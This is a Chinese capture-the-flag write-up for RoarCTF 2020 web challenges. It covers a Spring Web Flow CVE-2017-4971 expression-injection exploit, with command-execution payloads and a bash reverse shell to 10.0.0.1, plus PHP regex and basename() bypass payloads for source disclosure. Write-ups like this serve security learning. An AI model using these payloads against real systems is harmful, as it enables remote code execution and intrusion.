前言
web题总共5道,两道sql注入,两道代码审计,一道考CVE利用。这次比赛环境结束就关闭了,导致有些题目无法复现出来。
比赛复现
web-easy_sql 1
未找到复现环境
web-easy_sql 2
未找到复现环境
题目相关的解题wp
https://anthem-whisper.github.io/p/roarctf-2020/
web-Spring
考点
CVE-2017-4971 利用
复现过程
别的师傅已经复现过,再次一步步写没有多大意义,这里就贴几个关键的payload和关键点截图。
验证漏洞
| 1 | &_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty | 

执行命令
| 1 | &_T(java.lang.Runtime).getRuntime().exec("touch /tmp/success") | 
| 1 | &_(new+java.lang.ProcessBuilder("touch /tmp/success2")).start()=test | 
好像没有效果。
反弹shell
| 1 | _(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub | 
比赛就是用的上面的payload,能够执行,这里环境限制,不能截图。
注意点:比赛过程中,我抓包放到Repeater 中改数据再发送,没有执行成功,经过大师傅指点,直接抓包,修改数据,Forward,成功。好像是因为cstoken的原因。
web-middle-magic
比赛源码
| 1 | 
 | 
这道题考的都是基本知识点的组合,直接贴payload
| 1 | ?aaa=%0apass_the_level_1%23 | 
web-easycho
本地复现:test6.php
| 1 | 
 | 
这道题,以前做过一次,这道题在原题的基础上多了个匹配show_source的正则。这个正则只需要url编码即可绕过。
payload
| 1 | test6.php/utils.php/%ff?%73%68%6f%77%5f%73%6f%75%72%63%65 | 
关键点详细解释
$_SERVER[‘PHP_SELF’] 作用是取当前执行脚本的文件名
像这样
来源http://www.iwonder.run/blog/post/during/3691566f7f15
| 1 | http://www.5idev.com/php/ :/php/index.php | 
$_SERVER[‘REQUEST_URI’] 作用URI 用来指定要访问的页面
| 1 | http://localhost:9999/test6.php/utils.php?source => /test6.php/utils.php?source | 
basename 返回路径中的文件名部分
官方例子
| 1 | 
 | 
| 1 | 1) sudoers | 
会输出路径末尾的文件名。
| 1 | $path='/test/äaä.txt'; | 
这个函数有个小bug,就是遇到非ascii码字符会被丢弃。这就是解题的关键点。所以,我们通过在index.php/utils.php/后面添加一个非ascii码的字符串,这样做可以绕过正则,当执行到basename函数的时候,这个非ascii字符就会被丢弃,就会成功执行utils.php/。
所以构造payload
| 1 | test6.php/utils.php/%8e?%73%68%6f%77%5f%73%6f%75%72%63%65 | 
